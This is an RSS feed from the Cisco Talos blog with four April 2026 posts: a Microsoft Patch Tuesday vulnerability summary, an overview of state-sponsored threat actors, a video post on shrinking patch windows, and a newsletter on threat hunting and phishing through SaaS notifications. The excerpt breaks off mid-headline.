<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[Cisco Talos Blog]]></title><description><![CDATA[Talos intelligence and world-class threat research team better protects you and your organization against known and emerging cybersecurity threats.]]></description><link>https://blog.talosintelligence.com/</link><image><url>https://blog.talosintelligence.com/favicon.png</url><title>Cisco Talos Blog</title><link>https://blog.talosintelligence.com/</link></image><generator>Ghost 6.30</generator><lastBuildDate>Tue, 14 Apr 2026 20:28:03 GMT</lastBuildDate><atom:link href="https://blog.talosintelligence.com/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[Microsoft Patch Tuesday for April 2026 - Snort Rule and Prominent Vulnerabilities]]></title><description><![CDATA[Overview of patch tuesday release from Microsoft for April 2026.]]></description><link>https://blog.talosintelligence.com/microsoft-patch-tuesday-april-2026/</link><guid isPermaLink="false">69de9e36645a220001422999</guid><category><![CDATA[Patch Tuesday]]></category><dc:creator><![CDATA[Nick Biasini]]></dc:creator><pubDate>Tue, 14 Apr 2026 20:27:56 GMT</pubDate><media:content url="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/patch_tuesday.png" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/patch_tuesday.png" alt="Microsoft Patch Tuesday for April 2026 - Snort Rule and Prominent Vulnerabilities"><p>Microsoft has released its monthly security update for April 2026, which includes 165 vulnerabilities affecting a wide range of products, including eight Microsoft marked as &#x201C;critical.&#x201D;&#xA0;</p><p><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23666">CVE-2026-23666</a> is a critical Denial of Service (DoS) vulnerability that affects the .NET framework. Successful exploitation could allow the attacker to deny service over the network.</p><p><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32157">CVE-2026-32157</a> is a critical use after free vulnerability in the Remote Desktop Client that results in code execution. Attack requires an authorized user on the client to connect to a malicious server, which could result in code execution on the client.&#xA0;</p><p><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32190">CVE-2026-32190</a> is a critical user after free vulnerability in Microsoft Office that can result in local code execution. Attacker is remote but attack is carried out locally.&#xA0; Code from the local machine needs to be executed to exploit the vulnerability.&#xA0;</p><p><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33114">CVE-2026-33114</a> is a critical untrusted pointer deference vulnerability in Microsoft Office Word that could allow the attacker to execute code locally. Code from the local machine needs to be executed to exploit this vulnerability.</p><p><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33115">CVE-2026-33115</a> is a critical use after free vulnerability in Microsoft Office word that can result in local code execution. Similar to CVE-2026-33114 and CVE-2026-32190 the attacker is remote, but code needs to be executed from the local machine to exploit the vulnerability.</p><p><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33824">CVE-2026-33824</a> is a critical double free vulnerability in the Widows Internet Key Exchange (IKE) extension, allowing remote code execution. An unauthenticated attacker can send specially crafted packets to a Windows machine with IKE version 2 enabled to potentially enable remote code execution. Additional mitigations can include blocking inbound traffic on UDP ports 500 and 4500 if IKE is not in use.</p><p><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33826">CVE-2026-33826</a> is a critical improper input validation in Windows Active Directory that can result in code execution over an adjacent network. Requires an authenticated attacker to send specially crafted RPC calls to an RPC host. Can result in remote code execution. Note that successful exploitation requires the attacker be in the same restricted Active Directory domain as the target system.</p><p><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33827">CVE-2026-33827</a> is a critical race condition vulnerability in Windows TCP/IP that can result in remote code execution. Successful exploitation requires the attacker to win a race condition along with additional actions prior to exploitation to prepare the target environment. An unauthenticated actor can send specially crafted IPv6 packets to a Windows node where IPSec is enabled to potentially achieve remote code execution.&#xA0;</p><p><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32201">CVE-2026-32201</a> is an important improper input validation vulnerability in Microsoft Office SharePoint that can allow an unauthorized user to perform spoofing. An attacker that successfully exploits this vulnerability could view some sensitive information and make changes to disclosed information. This vulnerability has already been detected as being exploited in the wild.</p><p>The majority of the remaining vulnerabilities are labeled as important with a two moderate and one low vulnerability also being patched.&#xA0; Talos would like to highlight the several additional&#xA0; important vulnerabilities that Microsoft has deemed as &#x201C;more likely&#x201D; to be exploited.</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-0390">CVE-2026-0390</a> - UEFI Secure Boot Security Feature Bypass Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26151">CVE-2026-26151</a> - Remote Desktop Spoofing Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26169">CVE-2026-26169</a> - Windows Kernel Memory Information Disclosure Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26173">CVE-2026-26173</a> - Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26177">CVE-2026-26177</a> - Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26182">CVE-2026-26182</a> - Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27906">CVE-2026-27906</a> - Windows Hello Security Feature Bypass Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27908">CVE-2026-27908</a> - Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27909">CVE-2026-27909</a> - Windows Search Service Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27913">CVE-2026-27913</a> - Windows BitLocker Security Feature Bypass Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27914">CVE-2026-27914</a> - Microsoft Management Console Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27921">CVE-2026-27921</a> - Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27922">CVE-2026-27922</a> - Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32070">CVE-2026-32070</a> - Windows Common Log File System Driver Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32075">CVE-2026-32075</a> - Windows UPnP Device Host Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32093">CVE-2026-32093</a> - Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32152">CVE-2026-32152</a> - Desktop Window Manager Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32154">CVE-2026-32154</a> - Desktop Window Manager Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32155">CVE-2026-32155</a> - Desktop Window Manager Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32162">CVE-2026-32162</a> - Windows COM Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32202">CVE-2026-32202</a> - Windows Shell Spoofing Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32225">CVE-2026-32225</a> - Windows Shell Security Feature Bypass Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33825">CVE-2026-33825</a> - Microsoft Defender Elevation of Privilege Vulnerability</p><p>A complete list of all other vulnerabilities Microsoft disclosed this month is available on its <a href="https://msrc.microsoft.com/update-guide/">update page</a>. In response to these vulnerability disclosures, Talos is releasing a new Snort rule set that detects attempts to exploit some of them. Please note that&#xA0;additional&#xA0;rules may be released at a future&#xA0;date&#xA0;and current rules are subject to change pending&#xA0;additional information. Cisco Security Firewall customers should use the latest update to their ruleset by updating their SRU. Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on&#xA0;<a href="http://snort.org/">Snort.org</a>.&#x202F;&#xA0;</p><p>The rules included in this release that protect against the exploitation of many of these vulnerabilities are:&#xA0;1:65902-1:65903, 1:66242-1:66251, 1:66259-1:66260, 1:66264-1:66267, 1:66275-1:66276&#xA0;</p><p>The following Snort 3 rules are also available: 1:301398, 1:301468-1:3101472, 1:301475, 1:301477-1:301478, 1:301480</p>]]></content:encoded></item><item><title><![CDATA[State-sponsored threats: Different objectives, similar access paths]]></title><description><![CDATA[A look at 2025 state-sponsored threats, exploring how actors linked to China, Russia, North Korea, and Iran use vulnerabilities, identity, and trusted access paths to achieve their goals.]]></description><link>https://blog.talosintelligence.com/state-sponsored-threats-different-objectives-similar-access-paths/</link><guid isPermaLink="false">69dce83eab91ce0001a70dab</guid><category><![CDATA[2025YiR]]></category><category><![CDATA[Year In Review]]></category><dc:creator><![CDATA[Hazel Burton]]></dc:creator><pubDate>Tue, 14 Apr 2026 13:49:46 GMT</pubDate><media:content url="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/2025YiR-topic_APTs.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/2025YiR-topic_APTs.jpg" alt="State-sponsored threats: Different objectives, similar access paths"><p>Across the&#xA0;<a href="https://blog.talosintelligence.com/2025yearinreview/"><u>Talos 2025 Year in Review</u></a>, state-sponsored threat activity from China, Russia, North Korea, and Iran all had varying motivations, such as espionage, disruption, financial gain, and geopolitical influence.</p><p>But when you look at how these operations actually unfold, similar tactics, techniques, and procedures (TTPs) keep appearing: access through vulnerabilities and identity, and access that remains under the radar for a considerable period of time.</p><p>Here are the dominant themes from the state-sponsored section of the Talos Year in Review,&#xA0;<a href="https://blog.talosintelligence.com/2025yearinreview/"><u>available now.</u></a></p><h2 id="china">China</h2><p>China-nexus threat activity stood out this year for both volume and efficiency, with Talos investigations increasing by nearly 75% compared to 2024.</p><p>Newly disclosed vulnerabilities were exploited almost immediately (e.g., ToolShell), sometimes before patches were widely available. At the same time, long-standing, unpatched vulnerabilities in networking devices and widely used software continued to provide reliable entry points for these types of adversary.</p><p>Once inside, the focus shifts to persistence. Web shells, custom backdoors, tunneling tools, and credential harvesting all support long-term access.&#xA0;</p><p>There&#x2019;s also more overlap than ever before between state-sponsored and financially motivated activity. It is likely that in some cases, state-sponsored actors conducted operations for personal profit alongside espionage-focused missions, while in others, cybercriminals collected valuable information during an attack that could be sold to espionage-motivated actors for further exploitation, providing them dual revenue streams.</p><h2 id="russia">Russia</h2><p>Russian-linked cyber activity remains closely tied to their geopolitical objectives, particularly the war in Ukraine.</p><p>Many operations continue to rely on unpatched, older vulnerabilities (especially in networking devices) to gain initial access. These flaws provide a dependable way in for adversaries and support long-term intelligence gathering.</p><p>Russia&#x2019;s offensive cyber activity is highly correlated with developments in the larger geopolitical sphere. For example, the announcement of sanctions intended to apply pressure on Russia by both the U.S. and E.U. often corresponded with our observed levels of Russian cyber activity.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/YiR_figsforblog_sanctions.jpg" class="kg-image" alt="State-sponsored threats: Different objectives, similar access paths" loading="lazy" width="1875" height="881" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/04/YiR_figsforblog_sanctions.jpg 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/04/YiR_figsforblog_sanctions.jpg 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/04/YiR_figsforblog_sanctions.jpg 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/YiR_figsforblog_sanctions.jpg 1875w" sizes="(min-width: 720px) 720px"></figure><p>Common malware families like Dark Crystal RAT (DCRAT), Remcos RAT, and Smoke Loader appeared frequently in Talos investigations on operations against Ukraine in 2025. These families aren&#x2019;t exclusive to Russia-nexus threat actors, but they continue to be effective in environments where patching and visibility are inconsistent, and should therefore be high priority targets for defense and monitoring.</p><h2 id="north-korea">North Korea</h2><p>North Korea cyber operations leaned heavily into social engineering and insider access in 2025. These operations were both for financial and espionage purposes.</p><p>Campaigns like Contagious Interview (orchestrated by&#xA0;<a href="https://blog.talosintelligence.com/python-version-of-golangghost-rat/"><u>Famous Chollima</u></a>) used fake recruiters from legitimate companies to socially engineering targets to execute code or hand over credentials. From there, actors stole cryptocurrency, exfiltrated data, and established persistent access.</p><p>North Korean cyber actors also pulled off the largest cryptocurrency heist in history in 2025,&#xA0;<a href="https://www.ic3.gov/psa/2025/psa250226?"><u>stealing $1.5 billion</u></a>. Additionally, thousands of IT workers used stolen identities and AI-generated profiles to secure positions at Fortune 500 companies, generating billions in annual revenue for North Korea&#x2019;s nuclear weapons and ballistic missiles programs.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/YiR_figsforblog_worker_accounts.jpg" class="kg-image" alt="State-sponsored threats: Different objectives, similar access paths" loading="lazy" width="1875" height="1339" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/04/YiR_figsforblog_worker_accounts.jpg 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/04/YiR_figsforblog_worker_accounts.jpg 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/04/YiR_figsforblog_worker_accounts.jpg 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/YiR_figsforblog_worker_accounts.jpg 1875w" sizes="(min-width: 720px) 720px"></figure><h2 id="iran">Iran</h2><p>Iranian cyber threat activity in 2025 combined visible disruption with long-term access.</p><p>Hacktivist operations increased by 60% in response to geopolitical events, particularly the Israel-Hamas conflict. These campaigns, which include distributed denial-of-service (DDoS) attacks, defacements, and other disruptive operations, are often designed to generate attention and shape narratives.</p><p>At the same time, more traditional advanced persistent threat (APT) activity focused on persistence. Groups such as ShroudedSnooper targeted sectors like telecommunications, using custom compact backdoors designed to blend into normal traffic and remain undetected.&#xA0;</p><p>ShroudedSnooper is an APT that public reporting widely&#xA0;<a href="https://cloud.google.com/blog/topics/threat-intelligence/unc1860-iran-middle-eastern-networks"><u>attributes</u></a> to Iran&#x2019;s Ministry of Intelligence and Security (MOIS). It is very likely an initial access group that passes operations off to secondary threat actors for long term espionage or destructive attacks.</p><p>For current threat intelligence related to the developing conflict in Iran, follow our coverage on the&#xA0;<a href="https://blog.talosintelligence.com/talos-developing-situation-in-the-middle-east/"><u>Talos blog</u></a>.</p><h2 id="guidance-for-defenders">Guidance for defenders</h2><p>Though the state-sponsored activity that we tracked for the Talos Year in Review have different objectives, they still have the same reliance on gaining and maintaining access. The following guidance is recommended for security teams:</p><ul><li><strong>Don&#x2019;t ignore older systems:</strong>&#xA0;Both newly disclosed and long-known vulnerabilities are actively exploited.&#xA0;</li><li><strong>Prioritize identity security:</strong>&#xA0;Credentialed access and social engineering remain reliable entry points.&#xA0;</li><li><strong>Increase visibility into network and edge infrastructure:</strong>&#xA0;These systems are common targets for persistent access.</li><li><strong>Expect activity to follow global events:</strong>&#xA0;Sanctions, conflicts, and political developments often correlate with spikes in activity. Follow the Talos blog to keep informed of new state sponsored activity and campaigns.</li><li><strong>Inspect for long-term presence:</strong>&#xA0;Many state-sponsored operations are designed to persist stealthily over time, not trigger immediate disruption.&#xA0;</li></ul><div class="kg-card kg-header-card kg-v2 kg-width-regular " data-background-color="#000000">
            
            <picture><img class="kg-header-card-image" src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/YiR2025_background-2.jpg" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/YiR2025_background-2.jpg 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/YiR2025_background-2.jpg 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/03/YiR2025_background-2.jpg 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/YiR2025_background-2.jpg 2000w" loading="lazy" alt="State-sponsored threats: Different objectives, similar access paths"></picture>
        
            <div class="kg-header-card-content">
                
                <div class="kg-header-card-text kg-align-center">
                    <h2 id="read-the-2025-cisco-talos-year-in-review" class="kg-header-card-heading" style="color: #FFFFFF;" data-text-color="#FFFFFF"><span style="white-space: pre-wrap;">Read the 2025 Cisco Talos Year in Review</span></h2>
                    
                    <a href="https://blog.talosintelligence.com/content/files/2026/03/2025YiR-report.pdf" class="kg-header-card-button kg-style-accent" style="color: #FFFFFF;" data-button-color="accent" data-button-text-color="#FFFFFF">Download now</a>
                </div>
            </div>
        </div>]]></content:encoded></item><item><title><![CDATA[[Video] The TTP Ep. 22: The Collapse of the Patch Window]]></title><description><![CDATA[In this episode of The Talos Threat Perspective, we discuss how vulnerability exploitation is accelerating, and why attacker speed, AI, and exposed systems are affecting the patch window.]]></description><link>https://blog.talosintelligence.com/video-the-ttp-ep-22-the-collapse-of-the-patch-window/</link><guid isPermaLink="false">69d9156bab91ce0001a70d89</guid><category><![CDATA[2025YiR]]></category><category><![CDATA[Year In Review]]></category><dc:creator><![CDATA[Hazel Burton]]></dc:creator><pubDate>Fri, 10 Apr 2026 15:29:39 GMT</pubDate><media:content url="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/YiR2025_cover_2x1-3.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/YiR2025_cover_2x1-3.jpg" alt="[Video] The TTP Ep. 22: The Collapse of the Patch Window"><p>One of the clearest trends in the <a href="https://blog.talosintelligence.com/2025yearinreview/" rel="noreferrer">2025 Talos Year in Review</a> is just how quickly vulnerabilities are now being turned into working exploits. What used to take weeks or months is now happening in days, sometimes hours &#x2014; and in some cases, exploitation is beginning almost immediately after vulnerability details are made public.</p><p>The process of exploitation itself is changing. With the increasing availability of proof-of-concept code, automation, and AI-assisted tooling, certain vulnerabilities can very quickly become weaponized, which is what we saw with React2Shell.</p><p>At the same time, the data shows that attackers are not just chasing new vulnerabilities. They are consistently targeting what is exposed, accessible, and valuable.</p><p>On one end of the spectrum, near-instant exploitation.<br>On the other, long-standing vulnerabilities that remain unaddressed.</p><p>Attackers are using a combination of speed, scale, and accessibility to reduce the window defenders have to respond, while increasing the impact when they can&#x2019;t.</p><p>In the latest episode of the Talos Threat Perspective, we explore what the &#x2018;industrialization of exploitation&#x2019; looks like in practice, and what it means for defenders trying to prioritise risk in an increasingly compressed timeline.</p><p>&#x25B6;&#xFE0F; Watch the full episode below.</p><figure class="kg-card kg-embed-card"><iframe width="200" height="113" src="https://www.youtube.com/embed/o1xKzRjKRpE?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen title="The TTP Ep. 22: The Collapse of the Patch Window"></iframe></figure><div class="kg-card kg-header-card kg-v2 kg-width-regular " data-background-color="#000000">
            
            <picture><img class="kg-header-card-image" src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/YiR2025_background-2.jpg" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/YiR2025_background-2.jpg 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/YiR2025_background-2.jpg 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/03/YiR2025_background-2.jpg 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/YiR2025_background-2.jpg 2000w" loading="lazy" alt="[Video] The TTP Ep. 22: The Collapse of the Patch Window"></picture>
        
            <div class="kg-header-card-content">
                
                <div class="kg-header-card-text kg-align-center">
                    <h2 id="read-the-2025-cisco-talos-year-in-review" class="kg-header-card-heading" style="color: #FFFFFF;" data-text-color="#FFFFFF"><span style="white-space: pre-wrap;">Read the 2025 Cisco Talos Year in Review</span></h2>
                    
                    <a href="https://blog.talosintelligence.com/content/files/2026/03/2025YiR-report.pdf" class="kg-header-card-button kg-style-accent" style="color: #FFFFFF;" data-button-color="accent" data-button-text-color="#FFFFFF">Download now</a>
                </div>
            </div>
        </div>]]></content:encoded></item><item><title><![CDATA[The threat hunter’s gambit]]></title><description><![CDATA[Bill discusses why obsessing over strategy games is actually a secret weapon to outsmart threat actors.]]></description><link>https://blog.talosintelligence.com/the-threat-hunters-gambit/</link><guid isPermaLink="false">69d6ae38ab91ce0001a70d5f</guid><category><![CDATA[Threat Source newsletter]]></category><dc:creator><![CDATA[William Largent]]></dc:creator><pubDate>Thu, 09 Apr 2026 18:00:20 GMT</pubDate><media:content url="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/threat_source-1.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/threat_source-1.jpg" alt="The threat hunter&#x2019;s gambit"><p>Welcome to this week&#x2019;s edition of the Threat Source newsletter.&#xA0;</p><p><em>&#x201C;Study hard what interests you the most in the most undisciplined, irreverent and original manner possible.&#x201D; &#x2015; Richard Feynman&#xA0;</em>&#xA0;</p><p><em>&#x201C;I had discovered that learning something, no matter how complex, wasn&apos;t hard when I had a reason to want to know it.&#x201D; &#x2015; Homer Hickam, Rocket Boys&#xA0;</em>&#xA0;</p><p>*looks&#xA0;around at&#xA0;-&#xA0;gestures&#xA0;-&#xA0;everything*&#xA0;&#xA0;</p><p>*opens&#xA0;a new tab in the browser, takes in the newest news on AI,&#xA0;a new tab&#xA0;on supply chains,&#xA0;a new tab&#xA0;on vulnerability,&#xA0;and&#xA0;a new tab&#xA0;on active exploitation and zero-days*&#xA0;&#xA0;&#xA0;</p><p>*closes&#xA0;tabs&#xA0;and&#xA0;throws laptop into&#xA0;the nearest bin,&#xA0;&#xE0; la&#xA0;Ron&#xA0;Swanson*&#xA0;&#xA0;</p><p>*opens&#xA0;other&#xA0;laptop, avoids the internet*&#xA0;&#xA0;</p><p>*puts&#xA0;on headphones&#xA0;for&#xA0;deep work binaural audio*&#xA0;&#xA0;</p><p>*cracks&#xA0;knuckles*&#xA0;&#xA0;</p><p>I&#x2019;m&#xA0;often asked about why I&#xA0;bring up&#xA0;board games and video games when interviewing perspective analysts or threat hunters,&#xA0;so&#xA0;I&#x2019;m&#xA0;going to give the&#xA0;8,000 foot&#xA0;view on my thoughts. With everything that is going on, now more than ever we need the most curious people on the planet on our side.&#xA0;&#xA0;&#xA0;</p><p>What&#x2019;s&#xA0;the very first and most&#xA0;important step&#xA0;to securing any environment? Knowing the environment,&#xA0;inside and out. When you&#xA0;play&#xA0;any&#xA0;gameyou&#xA0;must understand the&#xA0;rules:&#xA0;the&#xA0;standard opening moves of chess,&#xA0;or&#xA0;Go,&#xA0;or&#xA0;perhaps the&#xA0;common resource-gathering patterns in strategy games. Once you understand&#xA0;what &quot;normal&quot;&#xA0;play looks like, you can&#xA0;immediately&#xA0;spot when an opponent makes a move that is inefficient or unusual&#xA0;&#x2014;&#xA0;an anomalous trigger&#xA0;that, if spotted, can lead to victory.&#xA0;&#xA0;&#xA0;</p><p>When experienced players recognize patterns (a specific chess gambit, a defensive build in a strategy game, etc.),&#xA0;they&#xA0;don&apos;t&#xA0;just react to the current move&#xA0;&#x2014;&#xA0;they predict&#xA0;several moves into the future&#xA0;from both players,&#xA0;especially&#xA0;if they know their&#xA0;opponents&apos;&#xA0;tendencies.&#xA0;As players gain experience and play against&#xA0;other&#xA0;skilled&#xA0;players,&#xA0;they begin&#xA0;involving feints or decoys (false&#xA0;flags, if&#xA0;you will). A player might sacrifice a minor piece to distract you from their true&#xA0;objective. Learning to look past that &quot;noise&quot; to find the real&#xA0;motivation is the key to taking your experience and skill to the next level.&#xA0;&#xA0;&#xA0;</p><p>Threat actors rarely follow a predictable script. They constantly evolve tactics, techniques, and procedures (TTPs). Developing the mental flexibility to handle&#xA0;those unexpected, non-standard behaviors is essential in&#xA0;identifying&#xA0;the unknowns.&#xA0;&#xA0;</p><p>The transition from board games to threat hunting is rooted in the development of critical thinking and situational awareness. While board games provide a controlled environment to practice these skills, the core competency &#x2014; that ability to&#xA0;identify&#xA0;the why behind a deviation&#xA0;&#x2014;&#xA0;is exactly what will make you a successful threat hunter.&#xA0;&#xA0;</p><p><em>&#x201C;I prefer to speak in metaphor: That way, no logic can trap me, and no rule can bind me, and no fact can limit me or decide for me what&#x2019;s possible.&#x201D; &#x2015; Claire&#xA0;Oshetsky, Chouette</em>&#xA0;</p><h2 id="the-one-big-thing">The one&#xA0;big thing&#xA0;</h2><p>Cisco Talos has&#xA0;observed&#xA0;threat actors&#xA0;<a href="https://blog.talosintelligence.com/weaponizing-saas-notification-pipelines/" rel="noreferrer noopener"><u>weaponizing legitimate SaaS notification pipelines</u></a>, such as those in GitHub and Jira, to deliver phishing and spam emails. By&#xA0;leveragingthese platforms&apos; official infrastructure, attackers bypass traditional email authentication protocols like SPF, DKIM, and DMARC. This &quot;Platform-as-a-Proxy&quot; (PaaP) technique exploits the implicit trust organizations place in system-generated notifications to&#xA0;facilitate&#xA0;credential harvesting. These campaigns effectively mask malicious intent behind the reputation of trusted enterprise tools.&#xA0;</p><h3 id="why-do-i-care">Why do I care?&#xA0;</h3><p>Traditional email security gateways are often blind to these attacks because the emails are technically authenticated and originate from verified, trusted domains. This technique exploits &quot;automation fatigue,&quot; where users are conditioned to reflexively trust system-generated alerts from business-critical platforms. Consequently, attackers can bypass standard perimeter defenses, making it harder to distinguish between legitimate business communications and sophisticated phishing attempts.&#xA0;</p><h3 id="so-now-what">So now what?&#xA0;</h3><p>Transition to a Zero-Trust approach by implementing instance-level verification and cross-referencing notifications against internal SaaS directories. Security teams should ingest SaaS API logs into their SIEM to detect anomalous precursor activities, such as suspicious project creation or mass invitations. Additionally, introduce friction for high-risk interactions by requiring out-of-band verification and apply semantic intent analysis to&#xA0;identify&#xA0;notifications that deviate from a platform&apos;s established functional baseline.&#xA0;</p><h2 id="top-security-headlines-of-the-week">Top security headlines of the week&#xA0;</h2><p><strong>Tech giants launch AI-powered 